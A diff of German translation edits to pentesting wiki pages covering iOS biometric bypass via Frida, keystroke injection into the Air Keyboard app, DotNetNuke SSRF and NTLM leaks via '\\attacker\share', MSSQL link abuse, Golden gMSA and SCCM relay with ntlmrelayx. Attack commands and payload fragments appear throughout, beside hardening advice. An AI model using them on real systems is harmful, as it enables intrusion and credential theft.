Eine erfolgreiche Authentifizierung wird durch einen booleschen Rückgabewert von **`evaluatePolicy`** angezeigt, was auf eine potenzielle Sicherheitsanfälligkeit hinweist.
|
||||
@ -747,7 +747,7 @@ Eine erfolgreiche Authentifizierung wird durch einen booleschen Rückgabewert vo
|
||||
|
||||
Die Implementierung der **lokalen Authentifizierung** in iOS-Apps umfasst die Verwendung von **Schlüsselbund-APIs**, um geheime Daten wie Authentifizierungstoken sicher zu speichern. Dieser Prozess stellt sicher, dass die Daten nur vom Benutzer mit seinem Geräte-Passcode oder biometrischer Authentifizierung wie Touch ID abgerufen werden können.
|
||||
|
||||
Der Schlüsselbund bietet die Möglichkeit, Elemente mit dem Attribut `SecAccessControl` festzulegen, das den Zugriff auf das Element einschränkt, bis der Benutzer erfolgreich über Touch ID oder Geräte-Passcode authentifiziert. Diese Funktion ist entscheidend für die Verbesserung der Sicherheit.
|
||||
Der Schlüsselbund bietet die Möglichkeit, Elemente mit dem Attribut `SecAccessControl` festzulegen, das den Zugriff auf das Element einschränkt, bis der Benutzer erfolgreich über Touch ID oder den Geräte-Passcode authentifiziert. Diese Funktion ist entscheidend für die Verbesserung der Sicherheit.
|
||||
|
||||
Im Folgenden finden Sie Codebeispiele in Swift und Objective-C, die zeigen, wie man einen String im Schlüsselbund speichert und abruft, wobei diese Sicherheitsfunktionen genutzt werden. Die Beispiele zeigen speziell, wie man den Zugriffskontrollmechanismus einrichtet, um eine Touch ID-Authentifizierung zu verlangen und sicherzustellen, dass die Daten nur auf dem Gerät zugänglich sind, auf dem sie eingerichtet wurden, vorausgesetzt, ein Geräte-Passcode ist konfiguriert.
|
||||
|
||||
@ -822,7 +822,7 @@ if (status == noErr) {
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
Jetzt können wir das gespeicherte Element aus dem Schlüsselbund anfordern. Die Schlüsselbunddienste zeigen dem Benutzer den Authentifizierungsdialog an und geben Daten oder nil zurück, abhängig davon, ob ein passender Fingerabdruck bereitgestellt wurde oder nicht.
|
||||
Jetzt können wir das gespeicherte Element aus dem Schlüsselbund anfordern. Die Schlüsselbunddienste zeigen dem Benutzer den Authentifizierungsdialog an und geben Daten oder nil zurück, abhängig davon, ob ein geeigneter Fingerabdruck bereitgestellt wurde oder nicht.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -934,7 +934,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
|
||||
}
|
||||
}
|
||||
```
|
||||
Um den **Bypass** der lokalen Authentifizierung zu erreichen, wird ein Frida-Skript geschrieben. Dieses Skript zielt auf die **evaluatePolicy**-Überprüfung ab und fängt deren Callback ab, um sicherzustellen, dass er **success=1** zurückgibt. Durch die Änderung des Verhaltens des Callbacks wird die Authentifizierungsüberprüfung effektiv umgangen.
|
||||
Um den **Bypass** der lokalen Authentifizierung zu erreichen, wird ein Frida-Skript geschrieben. Dieses Skript zielt auf die **evaluatePolicy**-Überprüfung ab und fängt deren Callback ab, um sicherzustellen, dass es **success=1** zurückgibt. Durch die Änderung des Verhaltens des Callbacks wird die Authentifizierungsüberprüfung effektiv umgangen.
|
||||
|
||||
Das folgende Skript wird injiziert, um das Ergebnis der **evaluatePolicy**-Methode zu ändern. Es ändert das Ergebnis des Callbacks, um immer Erfolg anzuzeigen.
|
||||
```swift
|
||||
@ -1018,11 +1018,11 @@ burp-configuration-for-ios.md
|
||||
### Hostname-Überprüfung
|
||||
|
||||
Ein häufiges Problem bei der Validierung des TLS-Zertifikats besteht darin, zu überprüfen, ob das Zertifikat von einer **vertrauenswürdigen** **CA** signiert wurde, aber **nicht zu überprüfen**, ob **der Hostname** des Zertifikats der aufgerufene Hostname ist.\
|
||||
Um dieses Problem mit Burp zu überprüfen, können Sie, nachdem Sie die Burp CA auf dem iPhone vertraut haben, **ein neues Zertifikat mit Burp für einen anderen Hostnamen erstellen** und es verwenden. Wenn die Anwendung weiterhin funktioniert, ist sie anfällig.
|
||||
Um dieses Problem mit Burp zu überprüfen, können Sie, nachdem Sie die Burp CA auf dem iPhone vertraut haben, **ein neues Zertifikat mit Burp für einen anderen Hostnamen erstellen** und verwenden. Wenn die Anwendung weiterhin funktioniert, ist sie anfällig.
|
||||
|
||||
### Zertifikat-Pinning
|
||||
|
||||
Wenn eine Anwendung SSL-Pinning korrekt verwendet, funktioniert die Anwendung nur, wenn das Zertifikat das erwartete ist. Bei der Prüfung einer Anwendung **kann dies ein Problem sein, da Burp sein eigenes Zertifikat bereitstellt.**\
|
||||
Wenn eine Anwendung SSL-Pinning korrekt verwendet, funktioniert die Anwendung nur, wenn das Zertifikat das erwartete ist. Bei der Prüfung einer Anwendung **kann dies ein Problem darstellen, da Burp sein eigenes Zertifikat bereitstellt.**\
|
||||
Um diesen Schutz auf einem jailbroken Gerät zu umgehen, können Sie die Anwendung [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) installieren oder [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) installieren.
|
||||
|
||||
Sie können auch **objection's** `ios sslpinning disable` verwenden.
|
||||
@ -1040,7 +1040,7 @@ Sie können auch **objection's** `ios sslpinning disable` verwenden.
|
||||
|
||||
### Hot Patching/Erzwungene Aktualisierung
|
||||
|
||||
Die Entwickler können **alle Installationen ihrer App sofort remote patchen**, ohne die Anwendung erneut im App Store einreichen und auf die Genehmigung warten zu müssen.\
|
||||
Die Entwickler können **alle Installationen ihrer App sofort patchen**, ohne die Anwendung erneut im App Store einreichen und auf die Genehmigung warten zu müssen.\
|
||||
Zu diesem Zweck wird normalerweise [**JSPatch**](https://github.com/bang590/JSPatch)** verwendet.** Es gibt jedoch auch andere Optionen wie [Siren](https://github.com/ArtSabintsev/Siren) und [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||||
**Dies ist ein gefährlicher Mechanismus, der von böswilligen Drittanbieter-SDKs missbraucht werden könnte, daher wird empfohlen, zu überprüfen, welche Methode für die automatische Aktualisierung verwendet wird (falls vorhanden) und sie zu testen.** Sie könnten versuchen, eine frühere Version der App zu diesem Zweck herunterzuladen.
|
||||
|
||||
@ -1052,7 +1052,7 @@ Die von Drittanbieter-SDKs bereitgestellten Dienste können das Tracking des Ben
|
||||
|
||||
Die Implementierung von Drittanbieterdiensten erfolgt normalerweise in zwei Formen: einer eigenständigen Bibliothek oder einem vollständigen SDK. Um die Privatsphäre der Benutzer zu schützen, sollten alle mit diesen Diensten geteilten Daten **anonymisiert** werden, um die Offenlegung von personenbezogenen Daten (PII) zu verhindern.
|
||||
|
||||
Um die Bibliotheken zu identifizieren, die eine Anwendung verwendet, kann der **`otool`**-Befehl verwendet werden. Dieses Tool sollte gegen die Anwendung und jede von ihr verwendete gemeinsame Bibliothek ausgeführt werden, um zusätzliche Bibliotheken zu entdecken.
|
||||
Um die Bibliotheken zu identifizieren, die eine Anwendung verwendet, kann der Befehl **`otool`** verwendet werden. Dieses Tool sollte gegen die Anwendung und jede von ihr verwendete gemeinsame Bibliothek ausgeführt werden, um zusätzliche Bibliotheken zu entdecken.
|
||||
```bash
|
||||
otool -L <application_path>
|
||||
```
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## TL;DR
|
||||
|
||||
Die iOS-Version der kommerziellen "Air Keyboard"-Anwendung (App Store ID 6463187929) öffnet einen **Clear-Text-TCP-Dienst auf Port 8888**, der Tastatureingabeframes **ohne jegliche Authentifizierung** akzeptiert. Jedes Gerät im selben Wi-Fi-Netzwerk kann sich mit diesem Port verbinden und beliebige Tastatureingaben in das Telefon des Opfers injizieren, was zu **vollständiger Ferninteraktionsübernahme** führt.
|
||||
Die iOS-Version der kommerziellen "Air Keyboard"-Anwendung (App Store ID 6463187929) öffnet einen **klartext TCP-Dienst auf Port 8888**, der Tastatureingabeframes **ohne jegliche Authentifizierung** akzeptiert. Jedes Gerät im selben Wi-Fi-Netzwerk kann sich mit diesem Port verbinden und beliebige Tastatureingaben in das Telefon des Opfers injizieren, was zu **vollständiger Ferninteraktionsübernahme** führt.
|
||||
|
||||
Eine begleitende Android-Version hört auf **Port 55535**. Sie führt einen schwachen AES-ECB-Handshake durch, aber gestalteter Müll verursacht eine **nicht behandelte Ausnahme in der OpenSSL-Dekrutierungsroutine**, die den Hintergrunddienst zum Absturz bringt (**DoS**).
|
||||
|
||||
@ -53,7 +53,7 @@ with socket.create_connection((target_ip, 8888)) as s:
|
||||
s.sendall(frame)
|
||||
print("Injected", keystrokes)
|
||||
```
|
||||
Jeder druckbare ASCII-Zeichen (einschließlich `\n`, `\r`, Sondertasten usw.) kann gesendet werden, was dem Angreifer effektiv die gleiche Macht wie physische Benutzereingaben verleiht: Apps starten, IMs senden, Phishing-URLs besuchen usw.
|
||||
Jede druckbare ASCII (einschließlich `\n`, `\r`, Sondertasten usw.) kann gesendet werden, was dem Angreifer effektiv die gleiche Macht wie physische Benutzereingaben verleiht: Apps starten, IMs senden, Phishing-URLs besuchen usw.
|
||||
|
||||
## 4. Android Companion – Denial-of-Service
|
||||
|
||||
@ -65,13 +65,13 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
## 5. Ursachenanalyse
|
||||
|
||||
1. **Keine Herkunfts- / Integritätsprüfungen** bei eingehenden Frames (iOS).
|
||||
2. **Kryptografischer Missbrauch** (statischer Schlüssel, ECB, fehlende Längenvalidierung) und **mangelhafte Ausnahmebehandlung** (Android).
|
||||
2. **Kryptografischer Missbrauch** (statischer Schlüssel, ECB, fehlende Längenvalidierung) und **mangelnde Ausnahmebehandlung** (Android).
|
||||
|
||||
## 6. Minderung & Härtungsideen
|
||||
|
||||
* Exponiere niemals nicht authentifizierte Dienste auf einem mobilen Endgerät.
|
||||
* Leite gerätespezifische Geheimnisse während des Onboardings ab und verifiziere sie, bevor du Eingaben verarbeitest.
|
||||
* Binde den Listener an `127.0.0.1` und verwende einen gegenseitig authentifizierten, verschlüsselten Transport (z.B. TLS, Noise) für die Fernsteuerung.
|
||||
* Binde den Listener an `127.0.0.1` und verwende einen gegenseitig authentifizierten, verschlüsselten Transport (z. B. TLS, Noise) für die Fernsteuerung.
|
||||
* Erkenne unerwartete offene Ports während mobiler Sicherheitsüberprüfungen (`netstat`, `lsof`, `frida-trace` auf `socket()` usw.).
|
||||
* Als Endbenutzer: Deinstalliere Air Keyboard oder verwende es nur in vertrauenswürdigen, isolierten Wi-Fi-Netzwerken.
|
||||
|
||||
|
||||
@ -13,7 +13,7 @@ Wenn Sie sich als **Administrator** in DNN anmelden, ist es einfach, **RCE** zu
|
||||
* Der Installationsassistent gibt die Version in `/Install/Install.aspx?mode=install` preis (zugänglich bei sehr alten Installationen).
|
||||
* `/API/PersonaBar/GetStatus` (9.x) gibt ein JSON-Blob zurück, das `"dnnVersion"` für Benutzer mit niedrigen Berechtigungen enthält.
|
||||
* Typische Cookies, die Sie in einer Live-Instanz sehen werden:
|
||||
* `.DOTNETNUKE` – ASP.NET Forms-Authentifizierungsticket.
|
||||
* `.DOTNETNUKE` – ASP.NET-Formularauthentifizierungsticket.
|
||||
* `DNNPersonalization` – enthält XML/serialisierte Benutzerdaten (alte Versionen – siehe RCE unten).
|
||||
|
||||
---
|
||||
@ -34,7 +34,7 @@ Das Modul wählt automatisch den richtigen Pfad für gepatchte, aber weiterhin a
|
||||
### 2. Server-Side Request Forgery (CVE-2025-32372)
|
||||
*Betroffene Versionen < 9.13.8 – Patch veröffentlicht April 2025*
|
||||
|
||||
Ein Umgehen des älteren `DnnImageHandler`-Fixes ermöglicht es einem Angreifer, den Server zu zwingen, **willkürliche GET-Anfragen** auszuführen (semi-blind SSRF). Praktische Auswirkungen:
|
||||
Ein Umgehen des älteren `DnnImageHandler`-Fixes ermöglicht es einem Angreifer, den Server zu zwingen, **willkürliche GET-Anfragen** auszugeben (semi-blind SSRF). Praktische Auswirkungen:
|
||||
|
||||
* Interner Port-Scan / Metadaten-Service-Entdeckung in Cloud-Bereitstellungen.
|
||||
* Erreichen von Hosts, die sonst durch eine Firewall vom Internet getrennt sind.
|
||||
@ -48,10 +48,10 @@ Die Anfrage wird im Hintergrund ausgelöst; überwachen Sie Ihren Listener auf R
|
||||
### 3. NTLM-Hash-Exposition über UNC-Umleitung (CVE-2025-52488)
|
||||
*Betroffene Versionen 6.0.0 – 9.x (< 10.0.1)*
|
||||
|
||||
Spezial angefertigte Inhalte können DNN dazu bringen, zu versuchen, eine Ressource über einen **UNC-Pfad** wie `\\attacker\share\img.png` abzurufen. Windows führt bereitwillig die NTLM-Verhandlung durch und leckt die Serverkonto-Hashes an den Angreifer. Aktualisieren Sie auf **10.0.1** oder deaktivieren Sie ausgehendes SMB an der Firewall.
|
||||
Spezial angefertigte Inhalte können DNN dazu bringen, eine Ressource über einen **UNC-Pfad** wie `\\attacker\share\img.png` abzurufen. Windows führt bereitwillig die NTLM-Verhandlung durch und leakt die Serverkonto-Hashes an den Angreifer. Aktualisieren Sie auf **10.0.1** oder deaktivieren Sie ausgehendes SMB an der Firewall.
|
||||
|
||||
### 4. IP-Filter-Umgehung (CVE-2025-52487)
|
||||
Wenn Administratoren auf *Host/IP-Filter* zum Schutz des Admin-Portals angewiesen sind, seien Sie sich bewusst, dass Versionen vor **10.0.1** durch Manipulation von `X-Forwarded-For` in einem Reverse-Proxy-Szenario umgangen werden können.
|
||||
Wenn Administratoren auf *Host/IP-Filter* zum Schutz des Admin-Portals angewiesen sind, beachten Sie, dass Versionen vor **10.0.1** durch Manipulation von `X-Forwarded-For` in einem Reverse-Proxy-Szenario umgangen werden können.
|
||||
|
||||
---
|
||||
## Post-Authentifizierung zu RCE
|
||||
@ -77,14 +77,14 @@ xp_cmdshell 'whoami';
|
||||
Sobald die Codeausführung als **IIS AppPool\<Site>** erreicht ist, gelten gängige Windows-Privilegieneskalationstechniken. Wenn die Box anfällig ist, kannst du Folgendes nutzen:
|
||||
|
||||
* **PrintSpoofer** / **SpoolFool**, um *SeImpersonatePrivilege* auszunutzen.
|
||||
* **Juicy/Sharp Potatoes**, um *Service Accounts* zu entkommen.
|
||||
* **Juicy/Sharp Potatoes**, um *Service Accounts* zu umgehen.
|
||||
|
||||
---
|
||||
## Empfehlungen zur Härtung (Blue Team)
|
||||
|
||||
* **Upgrade** auf mindestens **9.13.9** (behebt SSRF-Umgehung) oder vorzugsweise **10.0.1** (IP-Filter- & NTLM-Probleme).
|
||||
* Entferne verbleibende **`InstallWizard.aspx*`**-Dateien nach der Installation.
|
||||
* Deaktiviere ausgehendes SMB (Ports 445/139).
|
||||
* Deaktiviere ausgehenden SMB (Ports 445/139) Egress.
|
||||
* Erzwinge starke *Host-Filter* am Edge-Proxy anstelle innerhalb von DNN.
|
||||
* Blockiere den Zugriff auf `/API/RemoteContentProxy`, wenn nicht verwendet.
|
||||
|
||||
|
||||
@ -158,7 +158,7 @@ Das Tool [**recollapse**](https://github.com/0xacb/recollapse) kann Variationen
|
||||
|
||||
### Automatische benutzerdefinierte Wortlisten
|
||||
|
||||
Schau dir die [**URL-Validierungs-Bypass-Checkliste** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) von portswigger an, wo du den erlaubten Host und den des Angreifers eingeben kannst, und es wird eine Liste von URLs generiert, die du ausprobieren kannst. Es berücksichtigt auch, ob du die URL in einem Parameter, in einem Host-Header oder in einem CORS-Header verwenden kannst.
|
||||
Schau dir die [**URL-Validierungs-Bypass-Checkliste** Webanwendung](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) von Portswigger an, wo du den erlaubten Host und den Angreifer-Host eingeben kannst, und sie wird eine Liste von URLs für dich generieren. Sie berücksichtigt auch, ob du die URL in einem Parameter, in einem Host-Header oder in einem CORS-Header verwenden kannst.
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
@ -193,13 +193,13 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
|
||||
### Blackslash-Trick
|
||||
|
||||
Der _backslash-trick_ nutzt einen Unterschied zwischen dem [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) und [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) aus. Während RFC3986 ein allgemeines Rahmenwerk für URIs ist, ist WHATWG spezifisch für Web-URLs und wird von modernen Browsern übernommen. Der entscheidende Unterschied liegt in der Anerkennung des Backslashes (`\`) im WHATWG-Standard als gleichwertig zum Schrägstrich (`/`), was die Art und Weise beeinflusst, wie URLs geparst werden, insbesondere den Übergang vom Hostnamen zum Pfad in einer URL markiert.
|
||||
Der _backslash-trick_ nutzt einen Unterschied zwischen dem [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) und [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Während RFC3986 ein allgemeines Rahmenwerk für URIs ist, ist WHATWG spezifisch für Web-URLs und wird von modernen Browsern übernommen. Der entscheidende Unterschied liegt in der Anerkennung des Backslashes (`\`) im WHATWG-Standard als gleichwertig zum Schrägstrich (`/`), was die Art und Weise beeinflusst, wie URLs geparst werden, insbesondere den Übergang vom Hostnamen zum Pfad in einer URL markiert.
|
||||
|
||||
|
||||
|
||||
### Linke eckige Klammer
|
||||
|
||||
Das Zeichen “linke eckige Klammer” `[` im Benutzerinfo-Segment kann dazu führen, dass Spring’s UriComponentsBuilder einen Hostnamenwert zurückgibt, der sich von dem der Browser unterscheidet: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
Das Zeichen „linke eckige Klammer“ `[` im Benutzerinfo-Segment kann dazu führen, dass Spring’s UriComponentsBuilder einen Hostnamenwert zurückgibt, der sich von dem der Browser unterscheidet: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
|
||||
### Andere Verwirrungen
|
||||
|
||||
@ -222,7 +222,7 @@ Eine Reihe von gängigen Frameworks hatte Probleme mit Hostnamen-Mismatches, die
|
||||
|
||||
| Jahr | CVE | Komponente | Fehlerzusammenfassung | Minimaler PoC |
|
||||
|------|-----|-----------|-----------------------|----------------|
|
||||
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` ist im *userinfo*-Abschnitt nicht erlaubt, sodass `https://example.com\[@internal` von Spring als Host `example.com` und von Browsern als `internal` geparst wird, was bei der Verwendung von Host-Whitelist-Listen zu Open-Redirect & SSRF führt. Upgrade auf Spring 5.3.34 / 6.0.19 / 6.1.6+. |
|
||||
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` ist im *userinfo*-Bereich nicht erlaubt, sodass `https://example.com\[@internal` von Spring als Host `example.com` und von Browsern als `internal` geparst wird, was bei der Verwendung von Host-Whitelist-Listen zu Open-Redirect & SSRF führt. Upgrade auf Spring 5.3.34 / 6.0.19 / 6.1.6+. |
|
||||
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Verwirrung durch Backslash erlaubte es, `http://example.com\\@169.254.169.254/` zu verwenden, um Hostfilter zu umgehen, die bei `@` aufteilen. |
|
||||
| 2022 | CVE-2022-3602 | OpenSSL | Die Überprüfung des Hostnamens wurde übersprungen, wenn der Name mit einem `.` (punktloser Domain-Verwirrung) endete. |
|
||||
|
||||
|
||||
@ -226,7 +226,7 @@ Sie können vertrauenswürdige Links einfach mit Metasploit überprüfen.
|
||||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||||
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
|
||||
```
|
||||
Beachten Sie, dass Metasploit nur versuchen wird, die Funktion `openquery()` in MSSQL auszunutzen (wenn Sie also keinen Befehl mit `openquery()` ausführen können, müssen Sie die `EXECUTE`-Methode **manuell** ausprobieren, um Befehle auszuführen, siehe mehr dazu unten.)
|
||||
Beachten Sie, dass Metasploit nur versuchen wird, die `openquery()`-Funktion in MSSQL auszunutzen (wenn Sie also keinen Befehl mit `openquery()` ausführen können, müssen Sie die `EXECUTE`-Methode **manuell** ausprobieren, um Befehle auszuführen, siehe mehr dazu unten.)
|
||||
|
||||
### Manuell - Openquery()
|
||||
|
||||
@ -252,7 +252,7 @@ Führen Sie Abfragen über den Link aus (Beispiel: Weitere Links in der neuen zu
|
||||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||
```
|
||||
> [!WARNING]
|
||||
> Überprüfen Sie, wo doppelte und einfache Anführungszeichen verwendet werden, es ist wichtig, sie auf diese Weise zu verwenden.
|
||||
> Überprüfen Sie, wo doppelte und einfache Anführungszeichen verwendet werden. Es ist wichtig, sie auf diese Weise zu verwenden.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -283,7 +283,7 @@ Eine Strategie, die viele Autoren entwickelt haben, besteht darin, einen SYSTEM-
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato) hat eine Sammlung dieser verschiedenen Techniken, die über den `execute-assembly` Befehl von Beacon ausgeführt werden können.
|
||||
|
||||
### SCCM Management Point NTLM Relay (OSD Geheimnisextraktion)
|
||||
Sehen Sie, wie die Standard-SQL-Rollen von SCCM **Management Points** ausgenutzt werden können, um Network Access Account und Task-Sequence-Geheimnisse direkt aus der Standortdatenbank zu dumpen:
|
||||
Sehen Sie, wie die Standard-SQL-Rollen von SCCM **Management Points** missbraucht werden können, um Network Access Account und Task-Sequence-Geheimnisse direkt aus der Standortdatenbank zu dumpen:
|
||||
{{#ref}}
|
||||
sccm-management-point-relay-sql-policy-secrets.md
|
||||
{{#endref}}
|
||||
|
||||
@ -6,20 +6,20 @@
|
||||
|
||||
Windows Managed Service Accounts (MSA) sind spezielle Prinzipien, die entwickelt wurden, um Dienste auszuführen, ohne dass die Passwörter manuell verwaltet werden müssen. Es gibt zwei Hauptvarianten:
|
||||
|
||||
1. **gMSA** – gruppenverwaltetes Dienstkonto – kann auf mehreren Hosts verwendet werden, die in seinem Attribut `msDS-GroupMSAMembership` autorisiert sind.
|
||||
2. **dMSA** – delegiertes Managed Service Account – der (Vorschau-)Nachfolger von gMSA, der auf derselben Kryptografie basiert, aber granularere Delegationsszenarien ermöglicht.
|
||||
1. **gMSA** – gruppiertes Managed Service Account – kann auf mehreren Hosts verwendet werden, die in seinem `msDS-GroupMSAMembership` Attribut autorisiert sind.
|
||||
2. **dMSA** – delegiertes Managed Service Account – der (Vorschau) Nachfolger von gMSA, der auf derselben Kryptografie basiert, aber granularere Delegationsszenarien ermöglicht.
|
||||
|
||||
Für beide Varianten wird das **Passwort nicht** auf jedem Domain Controller (DC) wie ein regulärer NT-Hash gespeichert. Stattdessen kann jeder DC das aktuelle Passwort **on-the-fly** ableiten von:
|
||||
|
||||
* Dem forstweiten **KDS Root Key** (`KRBTGT\KDS`) – zufällig generierter, GUID-namensgegebener Geheimschlüssel, der auf jeden DC im Container `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` repliziert wird.
|
||||
* Dem forestweiten **KDS Root Key** (`KRBTGT\KDS`) – zufällig generierter GUID-benannter Geheimnis, das zu jedem DC unter dem Container `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` repliziert wird.
|
||||
* Der Zielkonto **SID**.
|
||||
* Einer pro Konto **ManagedPasswordID** (GUID), die im Attribut `msDS-ManagedPasswordId` zu finden ist.
|
||||
* Eine pro-Konto **ManagedPasswordID** (GUID), die im `msDS-ManagedPasswordId` Attribut gefunden wird.
|
||||
|
||||
Die Ableitung ist: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 Byte Blob, das schließlich **base64-kodiert** und im Attribut `msDS-ManagedPassword` gespeichert wird. Während der normalen Passwortnutzung sind kein Kerberos-Verkehr oder Domain-Interaktionen erforderlich – ein Mitglieds-Host leitet das Passwort lokal ab, solange es die drei Eingaben kennt.
|
||||
Die Ableitung ist: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 Byte Blob, das schließlich **base64-kodiert** und im `msDS-ManagedPassword` Attribut gespeichert wird. Kein Kerberos-Verkehr oder Domäneninteraktion ist während der normalen Passwortnutzung erforderlich – ein Mitglieds-Host leitet das Passwort lokal ab, solange es die drei Eingaben kennt.
|
||||
|
||||
## Golden gMSA / Golden dMSA Angriff
|
||||
|
||||
Wenn ein Angreifer alle drei Eingaben **offline** erhalten kann, kann er **gültige aktuelle und zukünftige Passwörter** für **jedes gMSA/dMSA in der Forest** berechnen, ohne den DC erneut zu berühren, wodurch umgangen wird:
|
||||
Wenn ein Angreifer alle drei Eingaben **offline** erhalten kann, kann er **gültige aktuelle und zukünftige Passwörter** für **jedes gMSA/dMSA im Forest** berechnen, ohne den DC erneut zu berühren, wodurch umgangen wird:
|
||||
|
||||
* LDAP-Leseaudits
|
||||
* Passwortänderungsintervalle (sie können vorab berechnen)
|
||||
@ -28,7 +28,7 @@ Dies ist analog zu einem *Golden Ticket* für Dienstkonten.
|
||||
|
||||
### Voraussetzungen
|
||||
|
||||
1. **Forstweite Kompromittierung** von **einem DC** (oder Enterprise Admin) oder `SYSTEM`-Zugriff auf einen der DCs im Forest.
|
||||
1. **Forest-weite Kompromittierung** von **einem DC** (oder Enterprise Admin) oder `SYSTEM`-Zugriff auf einen der DCs im Forest.
|
||||
2. Fähigkeit, Dienstkonten aufzulisten (LDAP-Lesen / RID-Brute-Force).
|
||||
3. .NET ≥ 4.7.2 x64 Arbeitsstation, um [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) oder gleichwertigen Code auszuführen.
|
||||
|
||||
@ -73,7 +73,7 @@ GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||
```
|
||||
##### Phase 3 – Erraten / Entdecken der ManagedPasswordID (wenn fehlend)
|
||||
|
||||
Einige Deployments *entfernen* `msDS-ManagedPasswordId` von ACL-geschützten Lesevorgängen.
|
||||
Einige Bereitstellungen *entfernen* `msDS-ManagedPasswordId` von ACL-geschützten Lesevorgängen.
|
||||
Da die GUID 128-Bit ist, ist naives Brute-Forcing unpraktisch, aber:
|
||||
|
||||
1. Die ersten **32 Bit = Unix-Epochenzeit** der Kontoerstellung (Minutenauflösung).
|
||||
@ -83,7 +83,7 @@ Daher ist eine **enge Wortliste pro Konto** (± wenige Stunden) realistisch.
|
||||
```powershell
|
||||
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
||||
```
|
||||
Das Tool berechnet Kandidatenpasswörter und vergleicht ihren Base64-BLOB mit dem echten `msDS-ManagedPassword`-Attribut – die Übereinstimmung zeigt die korrekte GUID an.
|
||||
Das Tool berechnet Kandidatenpasswörter und vergleicht deren Base64-Blob mit dem echten `msDS-ManagedPassword`-Attribut – die Übereinstimmung zeigt die korrekte GUID an.
|
||||
|
||||
##### Phase 4 – Offline-Passwortberechnung & -konvertierung
|
||||
|
||||
@ -97,7 +97,7 @@ Die resultierenden Hashes können mit **mimikatz** (`sekurlsa::pth`) oder **Rube
|
||||
|
||||
## Detection & Mitigation
|
||||
|
||||
* Beschränken Sie die **DC-Backup- und Registry-Hive-Lese**-Fähigkeiten auf Tier-0-Administratoren.
|
||||
* Beschränken Sie die **DC-Backup- und Registrierungshive-Lese**-Fähigkeiten auf Tier-0-Administratoren.
|
||||
* Überwachen Sie die Erstellung des **Directory Services Restore Mode (DSRM)** oder der **Volume Shadow Copy** auf DCs.
|
||||
* Protokollieren Sie Lesevorgänge / Änderungen an `CN=Master Root Keys,…` und `userAccountControl`-Flags von Dienstkonten.
|
||||
* Erkennen Sie ungewöhnliche **base64 Passwortschreibvorgänge** oder plötzliche Wiederverwendung von Dienstpasswörtern über Hosts hinweg.
|
||||
|
||||
@ -35,7 +35,7 @@ curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint -
|
||||
```
|
||||
---
|
||||
|
||||
## 2. Übertragen Sie das MP-Maschinenkonto an MSSQL
|
||||
## 2. Leiten Sie das MP-Maschinenkonto an MSSQL weiter
|
||||
```bash
|
||||
# 1. Start the relay listener (SMB→TDS)
|
||||
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
|
||||
@ -71,7 +71,7 @@ EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N''
|
||||
```
|
||||
Jede Zeile enthält `PolicyAssignmentID`, `Body` (hex), `PolicyID`, `PolicyVersion`.
|
||||
|
||||
Fokus auf Richtlinien:
|
||||
Fokussieren Sie sich auf Richtlinien:
|
||||
* **NAAConfig** – Netzwerkzugangskonto-Credentials
|
||||
* **TS_Sequence** – Tasksequenzvariablen (OSDJoinAccount/Password)
|
||||
* **CollectionSettings** – Kann Run-as-Konten enthalten
|
||||
@ -102,15 +102,15 @@ NetworkAccessPassword: P4ssw0rd123
|
||||
```
|
||||
---
|
||||
|
||||
## 5. Relevante SQL-Rollen & -verfahren
|
||||
## 5. Relevante SQL-Rollen & Verfahren
|
||||
Beim Relay wird der Login zugeordnet zu:
|
||||
* `smsdbrole_MP`
|
||||
* `smsdbrole_MPUserSvc`
|
||||
|
||||
Diese Rollen bieten Dutzende von EXEC-Berechtigungen, die wichtigsten, die in diesem Angriff verwendet werden, sind:
|
||||
|
||||
| Gespeicherte Prozedur | Zweck |
|
||||
|-----------------------|-------|
|
||||
| Stored Procedure | Zweck |
|
||||
|------------------|---------|
|
||||
| `MP_GetMachinePolicyAssignments` | Listet die auf ein `clientID` angewendeten Richtlinien auf. |
|
||||
